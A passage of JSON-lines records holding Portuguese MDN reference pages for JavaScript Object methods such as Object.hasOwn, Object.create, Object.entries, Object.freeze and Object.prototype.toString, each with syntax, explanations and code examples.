…\n}\n```\n\n\nMas se você precisa utilizar `for...in`, você pode utilziar `Object.hasOwn()` para pular as propriedades herdadas.\n\n\n```js\nconst example = { foo: true, bar: true };\nfor (const name in example) {\n  if (Object.hasOwn(example, name)) {\n    // …\n  }\n}\n```\n\n### Verificando se um index existe em um array\n\nOs elementos de um `Array` são definidos como propriedades diretas, você pode utilizar o método `hasOwn()` para verificar se existe um index específico:\n\n\n```js\nconst fruits = [\"Apple\", \"Banana\", \"Watermelon\", \"Orange\"];\nObject.hasOwn(fruits, 3); // true ('Orange')\nObject.hasOwn(fruits, 4); // false - not defined\n```\n\n### Casos problematicos para hasOwnProperty\n\nEssa seção demonstra `hasOwn()` é imune aos problemas que afetam `hasOwnProperty`. Primeiramente, ele pode ser uasdos em objetos que foram reimplementados `hasOwnProperty()`:\n\n\n```js\nconst foo = {\n  hasOwnProperty() {\n    return false;\n  },\n  bar: \"The dragons be out of office\",\n};\n\nif (Object.hasOwn(foo, \"bar\")) {\n  console.log(foo.bar); //true - reimplementação do hasOwnProperty() não afetara o objeto\n}\n```\n\n\nEle pode ser usado para testar objetos criados utilizando `Object.create(null)`. Esses não são herdados de `Object.prototype`, e assim o `hasOwnProperty()` é inacessível\n\n\n```js\nconst foo = Object.create(null);\nfoo.prop = \"exists\";\nif (Object.hasOwn(foo, \"prop\")) {\n  console.log(foo.prop); //true - Funciona independente de como o objeto é criado.\n}\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-object.hasown |\n\nCompabitiblidade de navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Polyfill of `Object.hasOwn` in `core-js`\n* `Object.hasOwnProperty()`\n* Enumerability and ownership of properties\n* `Object.getOwnPropertyNames()`\n* `for...in`\n* `in`\n* JavaScript Guide: Inheritance revisited"}
{"title":"Object.prototype.__lookupGetter__() - JavaScript","text":"Object.prototype.\\_\\_lookupGetter\\_\\_()\n=======================================\n\n**Deprecated:** This feature is no longer recommended. Though some browsers might still support it, it may have already been removed from the relevant web standards, may be in the process of being dropped, or may only be kept for compatibility purposes. Avoid using it, and update existing code if possible; see the compatibility table at the bottom of this page to guide your decision. Be aware that this feature may cease to work at any time.\n\nO método **`__lookupGetter__`** retorna a função limite como uma getter para a específica propriedade.\n\nSintaxe\n-------\n```\n\nobj.__lookupGetter__(sprop)\n```\n\n### Parâmetros\n\n`sprop`\n\nUma sequência de caracteres contendo o nome da propriedade cuja getter deve retornar.\n\n### Valores de retorno\n\nA função limite como uma getter para a específica propriedade.\n\nDescrição\n---------\n\nSe uma getter foi definida por uma propriedade de um objeto, não é possível referir-se a função getter através da propriedade, porque essa propriedade se refere ao retorno do valor daquela função. `__lookupGetter__` pode ser usado para obter referência à função getter.\n\nAgora é possível fazer isso de um jeito uniforme usando:. `Object.getOwnPropertyDescriptor()` e `Object.getPrototypeOf()`.\n\nExemplos\n--------\n\n\n```js\nvar obj = {\n  get foo() {\n    return Math.random() > 0.5 ? \"foo\" : \"bar\";\n  },\n};\n\n// Non-standard and deprecated way\nobj.\\_\\_lookupGetter\\_\\_(\"foo\");\n// (function() { return Math.random() > 0.5 ? 'foo' : 'bar'; })\n\n// Standard-compliant way\nObject.getOwnPropertyDescriptor(obj, \"foo\").get;\n// (function() { return Math.random() > 0.5 ? 'foo' : 'bar'; })\n```\n\nSpecificações\n-------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-object.prototype.\\_\\_lookupGetter\\_\\_ |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVer também\n----------\n\n* `Object.prototype.__lookupSetter__()`\n* `get` operador\n* `Object.getOwnPropertyDescriptor()` e `Object.getPrototypeOf()`\n* `Object.prototype.__defineGetter__()`\n* `Object.prototype.__defineSetter__()`\n* JS Guide: Defining Getters and Setters"}
{"title":"Object.getOwnPropertyDescriptors() - JavaScript","text":"Object.getOwnPropertyDescriptors()\n==================================\n\nO **`Object.getOwnPropertyDescriptors()`** método retorna todas as descrições próprias da propriedade de um dado objeto.\n\nExperimente\n-----------\n\nSintaxe\n-------\n```\n\nObject.getOwnPropertyDescriptors(obj)\n```\n\n### Parâmetro\n\n`obj`\n\nO objeto pelo o qual deseja obter todos os descritores de propriedade próprios.\n\n### Valor retornado\n\nUm objeto contendo todas as propriedades descritivas de um objeto. Pode ser um objeto vazio, se não existir propriedade.\n\nDescrição\n---------\n\nEsse método permite examinar a descrição precisa de todas as propriedades de um objeto. Uma propriedade em JavaScript consiste de um nome com valor string ou um `Symbol` e uma propriedade descritora. Outras informações sobre propriedade de tipo descritoras e seus atributos podem ser encontradas em `Object.defineProperty()`.\n\nUma propriedade descritora é um registro com alguns dos seguintes atributos:\n\n`value`\n\nO valor associdado com à propriedade (somente descritores de dados).\n\n**`writable`**\n\n`true` se somente o valor associado com a propriedade pode ser alterada (somente descritores de dados).\n\n`get`\n\nUma função que serve como um capturador para a propriedade ou `undefined` se não existir um capturador (somente descritores de acesso).\n\n`set`\n\nUma função que serve como um configurador para a propriedade, ou `undefined` se não existir um configurador (somente descritores de acesso).\n\n`configurable`\n\n`true` se e somente se o tipo da propriedade descritora pode ser alterada e se a propriedade pode ser deletada do objeto correspondente.\n\n`enumerable`\n\n`true` se e somente se essa propriedade se mostrar durante a enumeração da propriedade no objeto correspondente.\n\nExemplos\n--------\n\n### Criando um clone superficial\n\nEnquanto o `Object.assign()` método vai copiar somente o enumerável e as próprias propriedades da origem de um objeto para o objeto alvo, você é capaz de usar esse método e `Object.create()` para uma cópia superficial entre dois objetos desconhecidos:\n\n\n```js\nObject.create(\n  Object.getPrototypeOf(obj),\n  Object.getOwnPropertyDescriptors(obj),\n);\n```\n\n### Criando uma subclasse\n\nUm modo típico de criar uma subclasse é definir a subclasse, configurar um protótipo para uma instância da superclasse e depois difinir as propriedades daquela instância. Isso pode ficar estranho especialmente para os capturadores e configuradores. Ao invés disso, você pode usar esse código para configurar o protótipo :\n\n\n```js\nfunction superclass() {}\nsuperclass.prototype = {\n  // Define seu método e propriedades aqui\n};\nfunction subclass() {}\nsubclass.prototype = Object.create(superclass.prototype, {\n  // Define seu método e propriedades aqui\n});\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-object.getownpropertydescriptors |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Object.getOwnPropertyDescriptor()`\n* `Object.defineProperty()`\n* Polyfill"}
{"title":"Object.fromEntries() - JavaScript","text":"Object.fromEntries()\n====================\n\nO método **`Object.fromEntries()`** transforma uma lista de pares chave-valor em um objeto.\n\nExperimente\n-----------\n\nSintaxe\n-------\n```\n\nObject.fromEntries(iterable);\n```\n\n### Parâmetros\n\n`iterable`\n\nUm iterável como `Array` ou `Map` ou qualquer outro objeto que implemente o protocolo iterável.\n\n### Valor de retorno\n\nUm novo objeto com suas propriedades definidas pelas entradas fornecidadas pelo iterável.\n\nDescrição\n---------\n\nO método `Object.fromEntries()` recebe uma lista de pares chave-valor e retorna um novo objeto cujas propriedades foram definidas pelas entradas da lista. O parâmetro *iterable* deve ser um objeto que implemente o método `@@iterator`, que retorne um objeto iterador que produza um objeto *array-like* de dois elementos, onde o primeiro será a chave da propriedade e o segundo será o valor associado à chave.\n\n`Object.fromEntries()` faz o inverso de `Object.entries()`.\n\nExemplos\n--------\n\n### Convertendo um `Map` em um `Object`\n\nCom o método `Object.fromEntries`, é possível fazer a conveeção de um `Map` em um `Object`:\n\n\n```js\nconst map = new Map([\n  [\"foo\", \"bar\"],\n  [\"baz\", 42],\n]);\nconst obj = Object.fromEntries(map);\nconsole.log(obj); // { foo: \"bar\", baz: 42 }\n```\n\n### Convertendo um `Array` em um `Object`\n\nCom o método `Object.fromEntries`, é possível converter um `Array` em um `Object`:\n\n\n```js\nconst arr = [\n  [\"0\", \"a\"],\n  [\"1\", \"b\"],\n  [\"2\", \"c\"],\n];\nconst obj = Object.fromEntries(arr);\nconsole.log(obj); // { 0: \"a\", 1: \"b\", 2: \"c\" }\n```\n\n### Transformações de objetos\n\nCom o método `Object.fromEntries`, seu inverso `Object.entries()`, e os métodos para manipulação de arrays, é possível fazer transformações em objetos como por exemplo:\n\n\n```js\nconst object1 = { a: 1, b: 2, c: 3 };\n\nconst object2 = Object.fromEntries(\n  Object.entries(object1).map(([key, val]) => [key, val \\* 2]),\n);\n\nconsole.log(object2);\n// { a: 2, b: 4, c: 6 }\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-object.fromentries |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja Também\n-----------\n\n* `Object.entries()`\n* `Object.keys()`\n* `Object.values()`\n* `Map.prototype.entries()`\n* `Map.prototype.keys()`\n* `Map.prototype.values()`"}
{"title":"Object.create() - JavaScript","text":"Object.create()\n===============\n\nO método **`Object.create()`** cria um novo objeto, utilizando um outro objeto existente como protótipo para o novo objeto a ser criado.\n\nExperimente\n-----------\n\nSintaxe\n-------\n```\n\nObject.create(proto[, propertiesObject])\n```\n\n### Parâmetros\n\n`proto`\n\nO objeto que deve ser o protótipo do objeto recém-criado.\n\n`propertiesObject`\n\nOpcional. Se especificado e não `undefined`, um objeto cuja as propriedades próprias enumeráveis (isto é, aquelas propriedades definidas sobre si mesmo, e *não* propriedades enumeráveis ao longo da sua cadeia protótipa) especificam os nomes das propriedades a serem adicionadas ao objeto recém-criado, com os nomes das propriedades correspondentes. Essas propriedades correspondem ao segundo argumento de `Object.defineProperties()`.\n\n### Retorno\n\nUm novo objeto com o protótipo de objeto e propriedades especificadas.\n\n### Exceções\n\nUma exceção `TypeError` se o parâmetro `proto` não for `null` ou um objeto.\n\nExemplos\n--------\n\n### Herança tradicional com `Object.create()`\n\nA seguir, um exemplo de como usar `Object.create()` para realizar uma herança tradicional. Isto é para herança simples, que é a única herança suportada pelo JavaScript.\n\n\n```js\n// Shape - superclasse\nfunction Shape() {\n  this.x = 0;\n  this.y = 0;\n}\n\n// método da superclasse\nShape.prototype.move = function (x, y) {\n  this.x += x;\n  this.y += y;\n  console.info(\"Shape moved.\");\n};\n\n// Rectangle - subclasse\nfunction Rectangle() {\n  Shape.call(this); // chama construtor-pai.\n}\n\n// subclasse extende superclasse\nRectangle.prototype = Object.create(Shape.prototype);\nRectangle.prototype.constructor = Rectangle;\n\nvar rect = new Rectangle();\n\nconsole.log(\"Rect é uma instância de Rectangle?\", rect instanceof Rectangle); // true\nconsole.log(\"Rect é uma instância de Shape?\", rect instanceof Shape); // true\nrect.move(1, 1); // Saída: 'Shape moved.'\n```\n\n\nCaso queira realizar herança de múltiplos objetos, então mixins (\"mistura\") são uma possibilidade.\n\n\n```js\nfunction MyClass() {\n  SuperClass.call(this);\n  OtherSuperClass.call(this);\n}\n\nMyClass.prototype = Object.create(SuperClass.prototype); // herança\nmixin(MyClass.prototype, OtherSuperClass.prototype); // mixin\n\nMyClass.prototype.myMethod = function () {\n  // faz algo\n};\n```\n\n\nA função `mixin` copia as funções do protótipo da superclasse para o protótipo da subclasse, a função mixin precisa ser fornecida pelo usuário. Um exemplo de uma função do tipo mixin seria jQuery.extend().\n\n### Usando argumento `propertiesObject` com `Object.create()`\n\n\n```js\nvar o;\n\n// cria um objeto com protótipo null\no = Object.create(null);\n\no = {};\n// equivalente a:\no = Object.create(Object.prototype);\n\n// Exemplo em que criamos um objeto com algumas propriedades\n// (Note que o segundo parâmetro mapeia as chaves para \\*descritores de propriedade\\*.)\no = Object.create(Object.prototype, {\n  // foo é uma 'propriedade de valor' ('value property') normal\n  foo: { writable: true, configurable: true, value: \"hello\" },\n  // bar é uma propriedade getter-setter (accessor)\n  bar: {\n    configurable: false,\n    get: function () {\n      return 10;\n    },\n    set: function (value) {\n      console.log(\"Setting `o.bar` to\", value);\n    },\n    /\\* com os ES5 Accessors nosso código pode ser escrito como:\n get() { return 10; },\n set(value) { console.log('setting `o.bar` to', value); } \\*/\n  },\n});\n\nfunction Constructor() {}\no = new Constructor();\n// equivalente a:\no = Object.create(Constructor.prototype);\n// Claro, se há de fato um código de inicialização na função\n// Constructor, o Object.create() não pode refleti-la\n\n// Cria um novo objeto cujo protóptipo é um objeto novo, vazio\n// e adiciona a propriedade 'p' com o valor 42.\no = Object.create({}, { p: { value: 42 } });\n\n// por padrão, propriedades NÃO SÃO escritas, enumeradas ou configuráveis:\no.p = 24;\no.p;\n// 42\n\no.q = 12;\nfor (var prop in o) {\n  console.log(prop);\n}\n// 'q'\n\ndelete o.p;\n// false\n\n// especificar uma propriedade ES3\no2 = Object.create(\n  {},\n  {\n    p: {\n      value: 42,\n      writable: true,\n      enumerable: true,\n      configurable: true,\n    },\n  },\n);\n```\n\nPolyfill\n--------\n\nEste polyfill cobre o caso de uso principal que é a crição de um novo objeto em que o protótipo foi escolhido mas não leva em consideração o segundo argumento.\n\nNote que, enquanto a configuração `null` as `[[Prototype]]` é suportada no ES5 `Object.create`, este polyfill não suporta devido à limitação inerente em versões do ECMAScript inferiores a 5.\n\n\n```js\nif (typeof Object.create != \"function\") {\n  Object.create = (function () {\n    var Temp = function () {};\n    return function (prototype) {\n      if (arguments.length > 1) {\n        throw Error(\"Second argument not supported\");\n      }\n      if (typeof prototype != \"object\") {\n        throw TypeError(\"Argument must be an object\");\n      }\n      Temp.prototype = prototype;\n      var result = new Temp();\n      Temp.prototype = null;\n      return result;\n    };\n  })();\n}\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-object.create |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Object.defineProperty()`\n* `Object.defineProperties()`\n* `Object.prototype.isPrototypeOf()`\n* Post de John Resig sobre getPrototypeOf()"}
{"title":"Object.entries() - JavaScript","text":"Object.entries()\n================\n\n**Experimental:** **Esta é uma tecnologia experimental (en-US)**  \nVerifique a tabela de compatibilidade entre Navegadores cuidadosamente antes de usar essa funcionalidade em produção.\n\nO método **`Object.entries()`** retorna uma array dos próprios pares `[key, value]` enumeráveis de um dado objeto, na mesma ordem dos objetos providos através do loop `for...in` (sendo a diferença que o for-in loop enumera também propriedades dispostas na cadeia de prototipagem - *prototype chain*).\n\nSintaxe\n-------\n```\n\nObject.entries(obj)\n```\n\n### Parâmetros\n\n`obj`\n\nO objeto cujos próprios pares `[key, value]` de propriedades enumeráveis deverão ser retornados.\n\n### Valor de retorno\n\nUma array de pares `[key, value]` enumeráveis de propriedades de um dado objeto.\n\nDescrição\n---------\n\n`Object.entries()` retorna um array cujos elementos são também arrays correspondentes aos pares de propriedades `[key, value]` enumeráveis encontrados diretamente sobre o objeto. A ordem das propriedades é a mesma que seria se fossem iteradas as propriedades do objeto manualmente.\n\nExemplos\n--------\n\n\n```js\nvar obj = { foo: \"bar\", baz: 42 };\nconsole.log(Object.entries(obj)); // [ ['foo', 'bar'], ['baz', 42] ]\n\n// objeto array-like\nvar obj = { 0: \"a\", 1: \"b\", 2: \"c\" };\nconsole.log(Object.entries(obj)); // [ ['0', 'a'], ['1', 'b'], ['2', 'c'] ]\n\n// objeto array-like com ordenação aleatória de chave (key)\nvar an_obj = { 100: \"a\", 2: \"b\", 7: \"c\" };\nconsole.log(Object.entries(an_obj)); // [ ['2', 'b'], ['7', 'c'], ['100', 'a'] ]\n\n// getFoo é uma propriedade que não é enumerável\nvar my_obj = Object.create(\n  {},\n  {\n    getFoo: {\n      value: function () {\n        return this.foo;\n      },\n    },\n  },\n);\nmy_obj.foo = \"bar\";\nconsole.log(Object.entries(my_obj)); // [ ['foo', 'bar'] ]\n\n// argumento não-objeto será convertido (conversão implícita) para um objeto\nconsole.log(Object.entries(\"foo\")); // [ ['0', 'f'], ['1', 'o'], ['2', 'o'] ]\n\n// itera graciosamente através de chave-valor (key-value)\nvar obj = { a: 5, b: 7, c: 9 };\nfor (var [key, value] of Object.entries(obj)) {\n  console.log(key + \" \" + value); // \"a 5\", \"b 7\", \"c 9\"\n}\n\n// Ou, usando array extras\nObject.entries(obj).forEach(([key, value]) => {\n  console.log(key + \" \" + value); // \"a 5\", \"b 7\", \"c 9\"\n});\n```\n\n### Convertendo um `Object` em um `Map`\n\nO construtor `new Map()` aceita entradas iteráveis. Com o `Object.entries`, você pode facilmente converter de `Object` para `Map`:\n\n\n```js\nvar obj = { foo: \"bar\", baz: 42 };\nvar map = new Map(Object.entries(obj));\nconsole.log(map); // Map { foo: \"bar\", baz: 42 }\n```\n\nPolyfill\n--------\n\nPara incluir suporte ao `Object.entries` em ambientes mais antigos, você pode achar um Polyfill nos repositórios: tc39/proposal-object-values-entries e es-shims/Object.entries.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-object.entries |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Enumerabilidade e posse de propriedades\n* `Object.keys()`\n* `Object.values()` \nExperimental\n* `Object.prototype.propertyIsEnumerable()`\n* `Object.create()`\n* `Object.getOwnPropertyNames()`"}
{"title":"Object.prototype.toLocaleString() - JavaScript","text":"Object.prototype.toLocaleString()\n=================================\n\nO método **`toLocaleString()`** retorna uma cadeia de caracteres (*string*) representando o objeto. Este método é feito para ser sobrescrito por objetos derivados para propósitos de localização específica.\n\nExperimente\n-----------\n\nSintaxe\n-------\n```\n\nobj.toLocaleString()\n```\n\n### Valor de retorno\n\nUma *string* representando o objeto.\n\nDescrição\n---------\n\n`toLocaleString` do `Object` retorna o resultado da chamada `toString()`.\n\nEsta função é provida para dar aos objetos um método `toLocaleString` genérico, mesmo que nem todos os usem. Veja a lista abaixo.\n\n### Objetos sobrescrevendo toLocaleString\n\n* `Array`: `Array.prototype.toLocaleString()`\n* `Number`: `Number.prototype.toLocaleString()`\n* `Date`: `Date.prototype.toLocaleString()` (en-US)\n* `TypedArray` (en-US): `TypedArray.prototype.toLocaleString()` (en-US)\n* `BigInt`: `BigInt.prototype.toLocaleString()` (en-US)\nExemplos\n--------\n\n### Sobrescrita do Array toLocaleString()\n\nEm objetos `Array`, `toLocaleString()` pode ser usado para imprimir valores do arranjo como uma *string*, opcionalmente com identificadores de localização específicos (como símbolos monetários) atrelados a eles:\n\nPor exemplo:\n\n\n```js\nconst testArray = [4, 7, 10];\n\nlet euroPrices = testArray.toLocaleString(\"fr\", {\n  style: \"currency\",\n  currency: \"EUR\",\n});\n// \"4,00 €,7,00 €,10,00 €\"\n```\n\n### Sobrescrita do Date toLocaleString()\n\nEm objetos `Date`, `toLocaleString()` (en-US) é usado para imprimir datas mais apropriadas para localizações específicas:\n\nPor exemplo:\n\n\n```js\nconst testDate = new Date(Date.now());\n// \"Date Fri May 29 2020 18:04:24 GMT+0100 (British Summer Time)\"\n\nlet deDate = testDate.toLocaleString(\"de\");\n// \"29.5.2020, 18:04:24\"\n\nvar frDate = testDate.toLocaleString(\"fr\");\n//\"29/05/2020 à 18:04:24\"\n```\n\n### Sobrescrita de Number toLocaleString()\n\nEm objetos `Number`, `toLocaleString()` é usado para imprimir números para localizações específicas, e.g. com os corretos separadores:\n\nPor exemplo:\n\n\n```js\nconst testNumber = 2901234564;\n// \"2901234564\"\n\nlet deNumber = testNumber.toLocaleString(\"de\");\n// \"2.901.234.564\"\n\nlet frNumber = testNumber.toLocaleString(\"fr\");\n// \"2 901 234 564\"\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-object.prototype.tolocalestring |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Object.prototype.toString()`"}
{"title":"Object.prototype.toString() - JavaScript","text":"Object.prototype.toString()\n===========================\n\nSumário\n-------\n\nO método `toString()` retorna uma string representando o objeto.\n\nExperimente\n-----------\n\nSintaxe\n-------\n\n\n```js\nobj.toString();\n```\n\nDescrição\n---------\n\nTodo objeto possui um método `toString()` que é chamado automaticamente quando o objeto precisa ser representado como um valor em texto ou quando o objeto é referenciado de uma maneira que requeira uma string. Por padrão, o método `toString()` é herdado de todo objeto descendente de `Object`. Se e o método não é sobrescrito em um objeto personalizado, `toString()` retorna \"[object *type*]\", onde `type` é o tipo do objeto. O código a seguir ilustra isso:\n\n\n```js\nvar o = new Object();\no.toString(); // retorna [object Object]\n```\n\n\n**Nota:** Starting in JavaScript 1.8.5 `toString()` called on `null` returns `[object Null]`, and `undefined` returns `[object Undefined]`, as defined in the 5th Edition of ECMAScript and a subsequent Errata. See Using toString to detect object type.\n\nExamples\n--------\n\n### Exemplo: Sobrepondo o método inicial `toString`\n\nVocê pode criar uma função para ser chamada no lugar do método `toString()`. O método `toString()` não requer parâmetros e deve retornar uma string. O método `toString()` criado por você pode ter o valor que quiser, mas será mais útil se usar informações do objeto.\n\nO código abaixo define o objeto `Dog` e cria `theDog`, um objeto do tipo `Dog`:\n\n\n```js\nfunction Dog(name, breed, color, sex) {\n  this.name = name;\n  this.breed = breed;\n  this.color = color;\n  this.sex = sex;\n}\n\ntheDog = new Dog(\"Gabby\", \"Lab\", \"chocolate\", \"female\");\n```\n\n\nSe você chamar o método `toString()` neste objeto, ele retornará o valor original herdado de `Object`:\n\n\n```js\ntheDog.toString(); // returns [object Object]\n```\n\n\nO código abaixo cria e faz com que `dogToString()` sobrescreva o `toString()` original. Esta função gera uma string contendo **name, breed, color, and sex** do objeto, na forma de \"`propriedade = valor;`\".\n\n\n```js\nDog.prototype.toString = function dogToString() {\n  var ret =\n    \"Dog \" +\n    this.name +\n    \" is a \" +\n    this.sex +\n    \" \" +\n    this.color +\n    \" \" +\n    this.breed;\n  return ret;\n};\n```\n\n\nUsando este código, toda vez que `theDog` for usado em um texto (string), JavaScript automaticamente chamará a função `dogToString()`, a qual retornará:\n```\n\nDog Gabby is a female chocolate Lab\n```\n\n### Exemplo: Usando `toString()` para detectar a classe do objeto\n\n`toString()` pode ser usado com qualquer objeto e permite que você determine sua classe. Para usar `Object.prototype.toString()` com qualquer objeto, deverá chamar `Function.prototype.call()` ou `Function.prototype.apply()` nele, passando o objeto que quer inspecionar como o primeiro parâmetro, chamado `thisArg`.\n\n\n```js\nvar toString = Object.prototype.toString;\n\ntoString.call(new Date()); // [object Date]\ntoString.call(new String()); // [object String]\ntoString.call(Math); // [object Math]\n\n// Since JavaScript 1.8.5\ntoString.call(undefined); // [object Undefined]\ntoString.call(null); // [object Null]\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-object.prototype.tostring |\n\nCompatibilidade\n---------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Object.prototype.toSource()`\n* `Object.prototype.valueOf()`"}
{"title":"Object.freeze() - JavaScript","text":"Object.freeze()\n===============\n\nO método **`Object.freeze()`** congela um objeto: isto é, impede que novas propriedades sejam adicionadas a ele; impede que as propriedades existentes sejam removidas; e impede que propriedades existentes, ou sua inumerabilidade, configurabilidade, ou capacidade de escrita sejam alteradas. Em essência o objeto é efetivamente imutável. O método retorna o objeto congelado.\n\nSintaxe\n-------\n```\n\nObject.freeze(obj)\n```\n\n### Parâmetros\n\n`obj`\n\nO objeto a ser congelado.\n\n### Valor de retorno\n\nO objeto congelado.\n\nDescrição\n---------\n\nNada pode ser adicionado ou removido do conjunto de propriedades de um objeto congelado. Qualquer tentativa de fazê-lo irá falhar, ou silenciosamente ou através de um `TypeError` exception (mais frequentemente, mas não exclusivamente, quando em strict mode).\n\nValores não podem ser alterados para propriedades de dados. As propriedades do Accessor (getters e setters) funcionam da mesma forma (e ainda dão a ilusão de que você está alterando o valor). Observe que valores que são objetos ainda podem ser modificados, a menos que eles também sejam congelados.\n\nExemplos\n--------\n\n\n```js\nvar obj = {\n  prop: function () {},\n  foo: \"bar\",\n};\n\n// Novas propriedades podem ser adicionadas, propriedades existentes podem ser alteradas ou removidas\nobj.foo = \"baz\";\nobj.lumpy = \"woof\";\ndelete obj.prop;\n\n// Tanto o objeto que está sendo passado, bem como o objeto retornado será congelado.\n// É desnecessário salvar o objeto retornado para congelar o objeto original.\nvar o = Object.freeze(obj);\n\no === obj; // true\nObject.isFrozen(obj); // === true\n\n// De agora em diante qualquer alteração irá falhar\nobj.foo = \"quux\"; // silenciosamente não faz nada.\nobj.quaxxor = \"the friendly duck\"; // silenciosamente não adiciona a propriedade\n\n// ...e em modo strict tais tentativas irão lançar TypeErrors\nfunction fail() {\n  \"use strict\";\n  obj.foo = \"sparky\"; // throws um TypeError\n  delete obj.quaxxor; // throws um TypeError\n  obj.sparky = \"arf\"; // throws um TypeError\n}\n\nfail();\n\n// As tentativas de alteração através de Object.defineProperty também irão lançar\nObject.defineProperty(obj, \"ohai\", { value: 17 }); // throws um TypeError\nObject.defineProperty(obj, \"foo\", { value: \"eit\" }); // throws um TypeError\n```\n\n\nO exemplo a seguir mostra que valores do tipo objeto, em um objeto congelado, podem ser alterados (freeze é raso).\n\n\n```js\nobj1 = {\n  internal: {},\n};\n\nObject.freeze(obj1);\nobj1.internal.a = \"aValue\";\n\nobj1.internal.a; // 'aValue'\n\n// Para fazer um obj completamente imutável, congele cada objeto em obj.\n// Para fazer isso, nós usamos essa função.\nfunction deepFreeze(obj) {\n  // Recuperar os nomes de propriedade definidos em obj\n  var propNames = Object.getOwnPropertyNames(obj);\n\n  // Congelar as propriedades antes de congelar-se\n  propNames.forEach(function (name) {\n    var prop = obj[name];\n\n    // Congele prop se for um objeto\n    if (typeof prop == \"object\" && prop !== null) deepFreeze(prop);\n  });\n\n  // Congele-se (não faz nada se já estiver congelado)\n  return Object.freeze(obj);\n}\n\nobj2 = {\n  internal: {},\n};\n\ndeepFreeze(obj2);\nobj2.internal.a = \"anotherValue\";\nobj2.internal.a; // undefined\n```\n\nNotas\n-----\n\nEm ES5, se um argumento para este método não for um objeto (um primitivo), então isso irá causar um `TypeError`. Em ES6, um argumento não-objeto vai ser tratado como se fosse um objeto comum congelado e simplesmente retornado.\n\n\n```js\n> Object.freeze(1)\nTypeError: 1 is not an object // ES5 code\n\n> Object.freeze(1)\n1                             // ES6 code\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-object.freeze |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVer também\n----------\n\n* `Object.isFrozen()`\n* `Object.preventExtensions()`\n* `Object.isExtensible()`\n* `Object.seal()`\n* `Object.isSealed()`"}
{"title":"Object.prototype.constructor - JavaScript","text":"Object.prototype.constructor\n============================\n\nSumário\n-------\n\nRetorna uma referência para a função `Object` que cria a instância do protótipo. Note que o valor desse protótipo é uma referência para a própria função, não uma string contendo o nome da função. O valor é apenas *read-only* para valores primitivos como `1`, `true` e `\"test\"`.\n\nDescrição\n---------\n\nTodos os objetos herdam a propriedade *construtor* de seu protótipo:\n\n\n```js\nvar o = {};\no.constructor === Object; // true\n\nvar a = [];\na.constructor === Array; // true\n\nvar n = new Number(3);\nn.constructor === Number; // true\n```\n\nExemplos\n--------\n\n### Exemplo: Apresentando o construtor de um objeto\n\nO exemplo a seguir cria um protótipo, `Tree`, e um objeto desse tipo, `theTree`. O exemplo, então, apresenta a propriedade *constructor* do objeto `theTree`.\n\n\n```js\nfunction Tree(name) {\n  this.name = name;\n}\n\nvar theTree = new Tree(\"Redwood\");\nconsole.log(\"theTree.constructor is \" + theTree.constructor);\n```\n\n\nEsse exemplo apresenta a seguinte saída:\n\n\n```js\ntheTree.constructor is function Tree(name) {\n  this.name = name;\n}\n```\n\n### Exemplo: Mudando o construtor de um objeto\n\nO exemplo a seguir apresenta como modificar o valor do construtor de um objeto genérico. Apenas `true`, `1` e `\"test\"` não serão afetados sendo que eles tem `construtores` *read-only* nativos. Esse exemplo apresenta que nem sempre é seguro depender da propriedade `constructor` de um objeto.\n\n\n```js\nfunction Type() {}\n\nvar types = [\n  new Array(),\n  [],\n  new Boolean(),\n  true, // remains unchanged\n  new Date(),\n  new Error(),\n  new Function(),\n  function () {},\n  Math,\n  new Number(),\n  1, // remains unchanged\n  new Object(),\n  {},\n  new RegExp(),\n  /(?:)/,\n  new String(),\n  \"test\", // remains unchanged\n];\n\nfor (var i = 0; i < types.length; i++) {\n  types[i].constructor = Type;\n  types[i] = [\n    types[i].constructor,\n    types[i] instanceof Type,\n    types[i].toString(),\n  ];\n}\n\nconsole.log(types.join(\"\\n\"));\n```\n\n\nEsse exemplo apresenta a seguinte saída:\n\n\n```js\nfunction Type() {},false,\nfunction Type() {},false,\nfunction Type() {},false,false\nfunction Boolean() {\n    [native code]\n},false,true\nfunction Type() {},false,Mon Sep 01 2014 16:03:49 GMT+0600\nfunction Type() {},false,Error\nfunction Type() {},false,function anonymous() {\n\n}\nfunction Type() {},false,function () {}\nfunction Type() {},false,[object Math]\nfunction Type() {},false,0\nfunction Number() {\n    [native code]\n},false,1\nfunction Type() {},false,[object Object]\nfunction Type() {},false,[object Object]\nfunction Type() {},false,/(?:)/\nfunction Type() {},false,/(?:)/\nfunction Type() {},false,\nfunction String() {\n    [native code]\n},false,test\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-object.prototype.constructor |\n\nCompatibilidade de 